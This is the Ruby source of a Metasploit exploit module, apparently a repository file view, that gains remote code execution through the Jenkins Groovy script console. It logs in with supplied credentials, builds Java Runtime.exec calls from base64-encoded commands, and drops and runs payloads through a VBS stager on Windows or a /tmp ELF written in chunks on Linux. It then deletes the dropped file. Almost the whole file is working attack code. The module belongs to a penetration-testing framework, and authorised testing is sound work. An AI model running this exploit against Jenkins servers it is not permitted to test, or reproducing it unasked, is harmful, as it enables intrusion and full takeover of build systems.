c174e6a208
normalize_uri() should be used when you're joining URIs. Because if you're merging URIs after it's normalized, you could get double slashes again.
186 lines
5.4 KiB
Ruby
186 lines
5.4 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStagerVBS
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Jenkins Script-Console Java Execution',
|
|
'Description' => %q{
|
|
This module uses the Jenkins Groovy script console to execute
|
|
OS commands using Java.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Spencer McIntyre',
|
|
'jamcut'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'DefaultOptions' =>
|
|
{
|
|
'WfsDelay' => '10',
|
|
},
|
|
'References' =>
|
|
[
|
|
['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console']
|
|
],
|
|
'Targets' =>
|
|
[
|
|
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}],
|
|
['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }],
|
|
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}]
|
|
],
|
|
'DisclosureDate' => 'Jan 18 2013',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
|
|
OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
|
|
OptString.new('TARGETURI', [ true, 'The path to jenkins', '/jenkins/' ]),
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
uri = target_uri
|
|
uri.path = normalize_uri(uri.path)
|
|
uri.path << "/" if uri.path[-1, 1] != "/"
|
|
res = send_request_cgi({'uri' => "#{uri.path}login"})
|
|
if res and res.headers.include?('X-Jenkins')
|
|
return Exploit::CheckCode::Detected
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def on_new_session(client)
|
|
if not @to_delete.nil?
|
|
print_warning("Deleting #{@to_delete} payload file")
|
|
execute_command("rm #{@to_delete}")
|
|
end
|
|
end
|
|
|
|
def http_send_command(cmd, opts = {})
|
|
request_parameters = {
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(@uri.path, "script"),
|
|
'vars_post' =>
|
|
{
|
|
'script' => java_craft_runtime_exec(cmd),
|
|
'Submit' => 'Run'
|
|
}
|
|
}
|
|
request_parameters['cookie'] = @cookie if @cookie != nil
|
|
res = send_request_cgi(request_parameters)
|
|
if not (res and res.code == 200)
|
|
fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
|
|
end
|
|
end
|
|
|
|
def java_craft_runtime_exec(cmd)
|
|
decoder = Rex::Text.rand_text_alpha(5, 8)
|
|
decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
|
|
cmd_array = Rex::Text.rand_text_alpha(5, 8)
|
|
jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
|
|
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
|
|
|
|
jcode << "String [] #{cmd_array} = new String[3];\n"
|
|
if target['Platform'] == 'win'
|
|
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
|
|
jcode << "#{cmd_array}[1] = \"/c\";\n"
|
|
else
|
|
jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
|
|
jcode << "#{cmd_array}[1] = \"-c\";\n"
|
|
end
|
|
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
|
|
jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
|
|
jcode
|
|
end
|
|
|
|
def execute_command(cmd, opts = {})
|
|
vprint_status("Attempting to execute: #{cmd}")
|
|
http_send_command("#{cmd}")
|
|
end
|
|
|
|
def linux_stager
|
|
cmds = "echo LINE | tee FILE"
|
|
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
|
|
base64 = Rex::Text.encode_base64(exe)
|
|
base64.gsub!(/\=/, "\\u003d")
|
|
file = rand_text_alphanumeric(4+rand(4))
|
|
|
|
execute_command("touch /tmp/#{file}.b64")
|
|
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
|
|
base64.each_line do |line|
|
|
line.chomp!
|
|
cmd = cmds
|
|
cmd.gsub!(/LINE/, line)
|
|
execute_command(cmds)
|
|
end
|
|
|
|
execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
|
|
execute_command("chmod +x /tmp/#{file}")
|
|
execute_command("rm /tmp/#{file}.b64")
|
|
|
|
execute_command("/tmp/#{file}")
|
|
@to_delete = "/tmp/#{file}"
|
|
end
|
|
|
|
|
|
def exploit
|
|
@uri = target_uri
|
|
@uri.path = normalize_uri(@uri.path)
|
|
@uri.path << "/" if @uri.path[-1, 1] != "/"
|
|
print_status('Checking access to the script console')
|
|
res = send_request_cgi({'uri' => "#{@uri.path}script"})
|
|
fail_with(Exploit::Failure::Unknown) if not res
|
|
|
|
@cookie = nil
|
|
if res.code != 200
|
|
print_status('Logging in...')
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(@uri.path, "j_acegi_security_check"),
|
|
'vars_post' =>
|
|
{
|
|
'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),
|
|
'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'),
|
|
'Submit' => 'log in'
|
|
}
|
|
})
|
|
|
|
if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
|
|
fail_with(Exploit::Failure::NoAccess, 'login failed')
|
|
end
|
|
sessionid = 'JSESSIONID' << res.headers['set-cookie'].split('JSESSIONID')[1].split('; ')[0]
|
|
@cookie = "#{sessionid}"
|
|
else
|
|
print_status('No authentication required, skipping login...')
|
|
end
|
|
|
|
case target['Platform']
|
|
when 'win'
|
|
print_status("#{rhost}:#{rport} - Sending VBS stager...")
|
|
execute_cmdstager({:linemax => 2049})
|
|
when 'unix'
|
|
print_status("#{rhost}:#{rport} - Sending payload...")
|
|
http_send_command("#{payload.encoded}")
|
|
when 'linux'
|
|
print_status("#{rhost}:#{rport} - Sending Linux stager...")
|
|
linux_stager
|
|
end
|
|
|
|
handler
|
|
end
|
|
end
|